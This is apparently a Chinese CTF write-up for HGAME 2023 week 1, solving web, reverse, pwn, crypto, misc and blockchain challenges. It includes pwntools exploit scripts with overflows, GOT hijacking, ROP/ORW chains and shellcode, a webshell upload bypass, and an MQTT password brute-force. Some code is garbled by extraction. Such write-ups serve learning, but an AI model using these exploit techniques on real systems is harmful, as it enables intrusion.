HGAME 2023 week1 wp by 没有头猪

web

Classic Childhood Game

js没有被混淆,直接翻,翻到Event.js最底下有个可疑的函数mota(),控制台执行得到flag

Guess Who I Am

根据html中的hint得到id和说明的json,用python简易写个脚本即可。注意其中有转义符的问题,不过因为100次不是很多,手动修正即可,脚本写得不是很完美但是能用。

```
import requests
import json
geturl='http://week-1.hgame.lwsec.cn:31399/api/getQuestion'
posturl='http://week-1.hgame.lwsec.cn:31399/api/verifyAnswer'
{"Cookie": "session=MTY3Mjk1NjA5NXxEdi1CQkFFQ180SUFBUkFCRUFBQVBQLUNBQU1HYZNSeWFXNW
5EQWdBQm5OdmJIWmxaQU5wYm5RRUFnQi1Cbk4wY21sdVp3d05BQXRqYUdGc2JHVnVaM1ZKWkFOcGJuUUV
BdORfdmc9PXxSMxqYtIOHkU0QeEuZEUQwhRER16XFi7TTZMflkyboCw=="}
table=json.loads(open('member.js',encoding='utf-8').read())
x=requests.get(getur1,headers=headers).content.decode(encoding='utf-8')
print(x)
for j in table:
   if j['intro'] in x:
        print(j['id'])
        print(j['intro'])
        result=requests.post(posturl, data={"id":j['id']},headers=headers)
        cookie=result.cookies
        break
input()
for i in range(36):
   x=requests.get(geturl,cookies=cookie).content.decode(encoding='utf-8')
   print(x)
    if "19级 / \u0026lt;/p\u0026gt;\u0026lt;p\u0026gt;Web" in x:
        result=requests.post(posturl, data={"id":"0x4qE"},cookies=cookie)
        print(result.content)
        cookie=result.cookies
        continue
    if "Plz V me 50 eth" in x:
        result=requests.post(posturl, data={"id":"latt1ce"},cookies=cookie)
        print(result.content)
        cookie=result.cookies
        continue
    for j in table:
        if j['intro'] in x:
            print(j['id'])
            print(j['intro'])
            result=requests.post(posturl, data={"id":j['id']},cookies=cookie)
            print(result.content)
            cookie=result.cookies
```

Show Me Your Beauty

文件上传的后缀名没有过滤大写,传个后缀名.pHp的一句话木马即可getshell

reverse

test_your_IDA

有现成字符串, 打开IDA一眼出

easyasm

这么短的汇编代码,往下直接找xor,找到了

```
xor eax,33h
```

也就是把最后的字节串异或0x33,得到flag

easyenc

编码方法

```
enc=(text^0x32)-86;
```

提取出编码后的41字节,然后写出对应解码程序

a_cup_of_tea

通过题干猜测tea加密。因为程序使用了优化,IDA中需要进行一些小调整。分析得delta, key。解密程序

```
#include <stdio.h>
#define uint32_t unsigned int
void decrypt (uint32_t* v, uint32_t* k) {
```

```
uint32_t v0=v[0], v1=v[1], sum=0x79bde460, i; /* set up */
                           uint32_t delta=0xabcdef23; /* a key schedule constant */
                           uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
                           for (i=0; i<32; i++) { /* basic cycle start */
                                                     v1 = ((v0 << 4) + k2) \land (v0 + sum) \land ((v0 >> 5) + k3);
                                                     v0 = ((v1 << 4) + k0) \land (v1 + sum) \land ((v1 >> 5) + k1);
                                                     sum -= delta;
                           } /* end cycle */
                           v[0]=v0; v[1]=v1;
}
int main()
                           unsigned char a[34] = \{ 0x9D, 0x82, 0x63, 0x2E, 0x0F, 0x40, 0x4E, 0xC1, 0x63, 0x63, 0x63, 0x64, 0x64
0xB9, 0xBF,
      0x39, 0x9B, 0x14, 0x8B, 0x1F, 0x5A, 0xDE, 0x6D, 0x88, 0x61,
      0xCF, 0xC6, 0x65, 0x65, 0x64, 0x4F, 0x06, 0x9F, 0xF6, 0x43,
      0x6A, 0x23, 0x6B, 0x7D};
                           uint32_t k[4]=\{0x12345678,0x23456789,0x34567890,0x45678901\};
                           for(int i=0; i<32; i+=8){
                                                     uint32_t v[2]={*(uint32_t*)&a[i], *(uint32_t*)&a[i+4]};
                                                     decrypt(v,k);
                                                     unsigned char* chars = (unsigned char*)v;
                                                     for(int i=0;i<8;i++){
                                                                                printf("%c",chars[i]);
                                                     }
                           return 0;
}
```

encode

观察编码方式,发现是将一个字节的高4位和低4位分别储存,得解密程序

```
#include<stdio.h>
#include<stdint.h>
unsigned char ida_chars[] =
  0x08, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x07, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x06, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
  0x0B, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x05, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00,
  0x06, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
  0x04, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
  0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x05, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x06, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00,
  0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00,
```

```
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
  0x06, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00,
  0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
  0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0F, 0x00,
  0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
  0x07, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x02, 0x00,
  0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
  0x07, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
  0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0E, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x06, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
  0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
  0x07, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x07, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int main(){
   uint32_t* enc = ida_chars;
    for(int i=0;i<100;i+=2){
        printf("%c",enc[i]+(enc[i+1]<<4));</pre>
    return 0;
}
```

pwn

test_nc

nc上去直接cat flag

easy_overflow

一个很大的溢出,有个后门函数,注意64位下system函数要栈以16字节对齐,所以增加一个ret。程序 关闭了stdout,因此考虑用stderr输出。可以使用cat flag>&2或/bin/sh flag

exp:

```
from pwn import *
#p=process('./vuln')
p=connect('week-1.hgame.lwsec.cn',31953)
p.send(b'a'*24+p64(0x40101a)+p64(0x401176))
p.interactive()
#cat flag>&2
#/bin/sh flag
```

choose the seat

type confusion导致可以输入负数,程序Partial RELRO,并且在完成操作后调用exit函数,考虑劫持got 表。先把exit劫持为main,再通过setbuf函数泄露libc基址,最后输入/bin/sh并且劫持puts为system即可getshell。exp

```
from pwn import *
context.log_level='debug'
#p=process('./vuln')
p=connect('week-1.hgame.lwsec.cn',30373)
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')
p.sendline(b'-6') #exit
p.sendafter(b'name',p64(elf.symbols['main']))
p.sendlineafter(b'one.\n',b'-8') #setbuf
p.sendafter(b'name',b'\xd0')
p.recvuntil(b'Your name is ')
libc_base=u64(p.recv(6)+b'\x00\x00')-libc.symbols['setbuf']
info('libc_base:'+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
p.sendlineafter(b'one.\n',b'-9')
p.sendafter(b'name',b'/bin/sh\x00'+p64(system_addr))
p.interactive()
```

orw

因为ban掉了execve和execveat两个syscall,考虑orw。程序读取了很多,但是溢出比较少,考虑使用 栈迁移。直接栈迁移到bss段即可。因为linux中按0x1000大小分配内存,因此bss段后面有不少空间。不 过我做这道题的时候铸币了,所以泄露了栈地址,做麻烦了,不过原理类似。exp

```
from pwn import *
#p=process('./vuln')
p=connect('week-1.hgame.lwsec.cn',30033)
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')
pop_rdi=0x401393
retn=0x40101a
leave=0x4012ee
input()
p.send(b'a'*0x108+p64(pop_rdi)+p64(elf.got['puts'])+p64(0x401313))
p.recvuntil(b'task.\n')
libc_base=u64(p.recv(6)+b'\x00\x00')-libc.symbols['puts']
p.recvuntil(b'\n')
info('libc_base='+hex(libc_base))
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x142c92
pop_rax=libc_base+0x36174
syscall=libc_base+0x630a9
environ=libc_base+libc.symbols['environ']
p.send(b'a'*0x108+p64(pop_rdi)+p64(environ)+p64(0x401313))
stack=u64(p.recv(6)+b'\x00\x00')
stack=stack-stack%0x10
info('stack='+hex(stack))
p.send(b'a'*0x100+p64(stack)+p64(pop_rax)+p64(stack)+p64(0x4012d6))
```

```
sleep(1)
payload=p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdi)+p64(stack+0xc0)+p64(pop_rsi)+p64(
0)+p64(pop_rdx)+p64(0)+p64(libc_base+libc.symbols['open'])+p64(pop_rdi)+p64(3)+p6
4(pop_rdx)+p64(0x100)+p64(pop_rsi)+p64(stack-
0x1000)+p64(pop_rax)+p64(0)+p64(syscall)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack-
0x1000)+p64(libc_base+libc.symbols['write'])+b'flag\x00\x00\x00\x00'
input()
p.send(payload)
print(p.recvuntil(b'}'))
```

simple_shellcode

ban了getshell的路径,用orw。shellcode给了0x10大小的读,肯定要再通过一个read读入shellcode。 注意到执行shellcode时rdx为0xCAFE0000(一个大数),很容易构造出一段read的shellcode。exp

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-1.hgame.lwsec.cn',32476)
sc=asm('''
xor eax, eax
xor edi,edi
lea rsi,[rip+2]
syscal1
''')
p.send(sc)
input()
orw=b'\xb8f1agPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011
\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xc71\xc0\xfe\xc0\x0f\x05'
p.send(orw)
print(p.recvuntil(b'}'))
```

crypto

兔兔的车票

图片是随机生成的噪点图,考虑从异或运算的性质解决问题。注意到source中的噪声图补了很多0,因此像素点中有很多(48,48,48)的像素,因此将一张有意义的图片与source进行异或后,仍会较容易辨识。因此我们只要找到车票与source图片异或后的图片即可得到flag。我们这里不妨设

```
enc1 = source1 \oplus n1

enc2 = source2 \oplus n2

enc3 = flag \oplus n1
```

所以

```
enc1 \oplus enc3 = source1 \oplus flag
```

那么如何分辨这些enc图片是和nonce数组中的哪个异或得到的呢?我们可以从enc0开始与其他enc图片进行异或,由于source噪声图存在很多(48,48,48)像素,同色像素异或后为纯黑像素,异或后如果图片比较暗则说明这两张图片是异或同一个nonce元素得到的。由此我们从enc0开始进行图片的两两异或,发现enc1^enc6后得到了车票图片,即可得到flag

RSA

factordb可以直接分解,然后就是正常的RSA解密流程

```
from Crypto.Util.number import *
import gmpy2
p=1123913498780499358676355902818724505765255021951520176864477073386908818532074
0938450178816138394844329723311433549899499795775655921261664087997097294813
\mathtt{q} \! = \! 1202291266142094159256975173180263937508842746343016225211308261961783701091300
2515450223656942836378041122163833359097910935638423464006252814266959128953
n=p*q
phi=(p-1)*(q-1)
e = 65537
\textbf{c} = 1106747926740177482432323511858960196604347183420016869065277898762649763286861
341019721254939384349927870029155625004754806932973608676810000927255832846163535
434223884892081145450071386065436780407986518360274333832821770810341515899350242
92017207209056829250152219183518400364871109559825679273502274955582
d=gmpy2.invert(e,phi)
m=gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
```

Be Stream

二阶线性递推得到stream数列的通项公式,然后利用模运算的性质降低运算量后能秒出。解题脚本

```
import sympy
c=b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-
\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-
key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]
key[0]\%=256
key[1]%=256
sympy.init_printing()
11=2-sympy.sqrt(11)
12=2+sympy.sqrt(11)
a1 = sympy.Rational(-178,7) + sympy.Rational(-755,7) / sympy.sqrt(11)
a2=sympy.Rational(-178,7)+sympy.Rational(755,7)/sympy.sqrt(11)
def stream(i):
    i+=1
    return sympy.simplify(a1*(l1**i)+a2*(l2**i))
for i in range(len(c)):
    water = stream(((i//2)**6)\%256) % 256
    print(chr(c[i]^water),end='')
```

misc

Sign In

base64直接解码

Where am I

wireshark提取出fake.rar,推测为伪加密,010editor更改加密位后得到Exchangable.jpg,查看exif信息 转为度分秒格式的经纬度得到flag

神秘的海报

lsb提取出flag part1,得到提示6位数字密码。ctf常用的6位数字密码114514或者123456,用steghide试一下123456就出了。

e99p1ant_want_girlfriend

根据题目提示crc32,推测修改了图片大小,png格式修改宽之后图片会损坏,无法查看,因此直接把高设为一个很大的数即可得到flag。

Blockchain

Checkin

按照题目操作后, 查看合约源码, 只要调用setGreeting函数即可。remix跑一下得到data, 解题脚本

```
from web3 import Web3, HTTPProvider
from Crypto.Util.number import *
web3=Web3(HTTPProvider("http://week-1.hgame.lwsec.cn:31240/"))
print(web3.isConnected())
acct = web3.eth.account.create()
print(acct.address)
input()
print(web3.eth.getBalance(acct.address))
def deploy(rawTx):
   signedTx = web3.eth.account.signTransaction(rawTx,
private_key=acct.privateKey)
   hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
   receipt = web3.eth.waitForTransactionReceipt(hashTx)
   print(receipt)
   return receipt
if __name__ == '__main__':
   rawTx = {
      'from': acct.address,
      'to': "0xED6C0E9cFF1abcbEDEE2615804730Fca5722c7Ef",
      'nonce': web3.eth.getTransactionCount(acct.address),
      'gasPrice': web3.toWei(1, 'gwei'),
      'gas': 487260,
      'value': web3.toWei(0, 'ether'),
      'data':
"chainId": web3.eth.chain_id
   info = deploy(rawTx)
   print(info)
```

Help marvin

拿到一个逻辑分析仪抓到的波形文件,PulseView打开后观察波形,一眼SPI(不过时钟波形也太不规律了),CLK: d0; MOSI, MISO: d2; CS: d1

提取数据得到flag

Help the uncle who can't jump twice

根据提示,为mqtt协议,拿到用户名Vergil。mqtt-pwn爆破密码得到power,然后查看公告板Nero/#即可得到flag。